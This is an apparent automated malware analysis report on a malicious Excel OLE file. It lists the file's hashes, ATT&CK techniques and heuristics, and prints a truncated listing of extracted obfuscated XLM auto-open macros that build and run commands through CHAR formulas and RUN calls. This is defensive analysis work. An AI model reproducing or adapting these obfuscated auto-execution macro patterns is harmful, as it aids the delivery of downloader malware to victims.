Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3aa561e0dae32cb3…

MALICIOUS

Office (OLE)

231.0 KB Created: 2020-05-15 06:54:28 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 3276f976cd8345124dceffdc1cf2b935 SHA-1: a98377b6f7cc2e1c9238c64a6e1138f85a2481cd SHA-256: 3aa561e0dae32cb3e5541f8acd609fd9b6f4005274b2210d2f82da8c22e0fda9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing obfuscated Excel 4.0 (XLM) macros, indicated by multiple critical heuristic firings. The macros are designed to execute automatically via an Auto_Open entry and use obfuscated formulas, including CHAR functions, to construct and run commands. This pattern strongly suggests the file is a downloader or dropper for a secondary malicious payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Obfuscated XLM Auto_Open execution chain critical OLE_XLM_OBFUSCATED_AUTOEXEC_CHAIN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and an obfuscated formula execution chain. The macro builds strings through FORMULA(CHAR(...)), primes state with SET.VALUE / GET.CELL / GOTO, and transfers control through RUN(). This is a high-confidence XLM malware pattern.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 128832 bytes
SHA-256: d5e44baf202aa23573d0635be8a3ae65be780c8b47966803ab50f22c6ce831bb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!GZ31823 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,HU141,"",95.00000000000000000000
'  Sheet,R166,"FORMULA(CHAR(IA15427+DF54675)&CHAR(A9506-EF29369)&CHAR(IA15427/BR53432)&CHAR(A9506/DV17597)&CHAR(IC21223+FL48436)&CHAR(FS15584-CJ56670)&CHAR(FS15584+V35315)&CHAR(EF60465/FJ55161)&CHAR(IA15427+FQ15565)&CHAR(IL8163-FE25437)&CHAR(FS15584*GY44412)&CHAR(FF39912+DF26792)&CHAR(EF60465/HO53120)&CHAR(IA15427+BH11091)&CHAR(IA15427*EI13565)&CHAR(FF39912+HN54324)&CHAR(IA15427/HB11929)&CHAR(IC21223+BJ58091)&CHAR(IS27380-JT41723)&CHAR(FS15584*CB6661)&CHAR(IL8163/EE34792),R167)",""
'  Sheet,R168,GOTO(JS4735),""
'  Sheet,EA198,"",-104.00000000000000000000
'  Sheet,BY227,"",-0.18344519015659954686
'  Sheet,CG234,"",0.24183006535947712545
'  Sheet,HP238,GOTO(HH6426),""
'  Sheet,DQ278,"",-106.00000000000000000000
'  Sheet,BK290,"",-86.00000000000000000000
'  Sheet,GG321,"",-272.00000000000000000000
'  Sheet,DF344,"",8.64705882352941124225
'  Sheet,IB437,"",46.00000000000000000000
'  Sheet,DD450,"",-99.00000000000000000000
'  Sheet,BV530,"",0.50276243093922656779
'  Sheet,GT544,"",-38.00000000000000000000
'  Sheet,P582,"",0.20588235294117646079
'  Sheet,ED672,"",-0.25503355704697988626
'  Sheet,JH687,"",6.67346938775510167829
'  Sheet,FQ699,"",-372.00000000000000000000
'  Sheet,A794,"",110.50000000000000000000
'  Sheet,JL818,"",-73.00000000000000000000
'  Sheet,IN852,"",4.09999999999999964473
'  Sheet,BP859,"",0.09210526315789473173
'  Sheet,ES884,"",85.50000000000000000000
'  Sheet,BT956,"",-54.00000000000000000000
'  Sheet,HR961,"",4.44554355445544580050
'  Sheet,GH983,"",262.00000000000000000000
'  Sheet,CL1033,"",0.23241590214067278652
'  Sheet,CI1060,"",11.71428571428571352442
'  Sheet,GB1061,"",-140.00000000000000000000
'  Sheet,GG1073,"",-0.94411764705882361692
'  Sheet,IV1101,"SET.VALUE(IL8163,GET.CELL(24,ID48719)--320.00000000000000000000)",""
'  Sheet,IV1102,RUN(BH13304),""
'  Sheet,D1155,"",-296.00000000000000000000
'  Sheet,CC1162,"",-4.79166666666666696273
'  Sheet,IJ1205,"",-82.00000000000000000000
'  Sheet,FZ1245,"",-275.00000000000000000000
'  Sheet,CZ1367,"",34.00000000000000000000
'  Sheet,BB1397,"",-70.00000000000000000000
'  Sheet,EE1424,"",0.25688073394495414270
'  Sheet,BQ1447,"",0.46733668341708545224
'  Sheet,IP1546,"",1.80743243243243245644
'  Sheet,IU1572,"",-70.00000000000000000000
'  Sheet,FM1586,"",-0.81927710843373491301
'  Sheet,K1651,"",-2.79746835443037955571
'  Sheet,ED1718,"",1.98901098901098905003
'  Sheet,IO1748,"",2.55652173913043467834
'  Sheet,GX1765,"",287.00000000000000000000
'  Sheet,JI1785,"",1.79207920792079211658
'  Sheet,BR1835,"",-152.50000000000000000000
'  Sheet,F1848,"",0.36206896551724138122
'  Sheet,HV1886,"",4.90000000000000035527
'  Sheet,GZ1906,"",-50.00000000000000000000
'  Sheet,S1912,"",379.00000000000000000000
'  Sheet,EY1937,"SET.VALUE(EF60465,420-GET.CELL(8,ED47890)*4)",""
'  Sheet,EY1938,RUN(IF64663),""
'  Sheet,O1959,"",82.00000000000000000000
'  Sheet,GQ1968,"",95.62500000000000000000
'  Sheet,DH2007,"FORMULA(CHAR(IS27380*IX45615)&CHAR(IC21223-U47917)&CHAR(EF60465-DX15637)&CHAR(IA15427-BY15556)&CHAR(DQ3546-IO6936)&CHAR(DQ3546/EB12574)&CHAR(FF39912+Z52329)&CHAR(IC21223/IS41938)&CHAR(IL8163/JH18745)&CHAR(DQ3546/M13678)&CHAR(IE47373+DL59242)&CHAR(A9506+HB13573)&CHAR(FS15584/JN10302)&CHAR(IL8163+FK27652)&CHAR(IL8163+DM12993)&CHAR(IS27380+FT29623)&CHAR(EF60465-BG6872)&CHAR(DQ3546+ER10267)&CHAR(IC21223/O63507)&CHAR(IS27380-EJ19698)&CHAR(IC21223-H29593)&CHAR(IA15427+DG23251)&CHAR(IL8163+IV51609)&CHAR(IC21223/I32595)&CHAR(A9506+DS48393)&CHAR(FF39912/EI15430)&CHAR(FF39912/IE48462)&CHAR(IA15427*BA38381)&CHAR(IE47373/HI47389)&CHAR(IL8163*CI20395)&CHAR
... (truncated)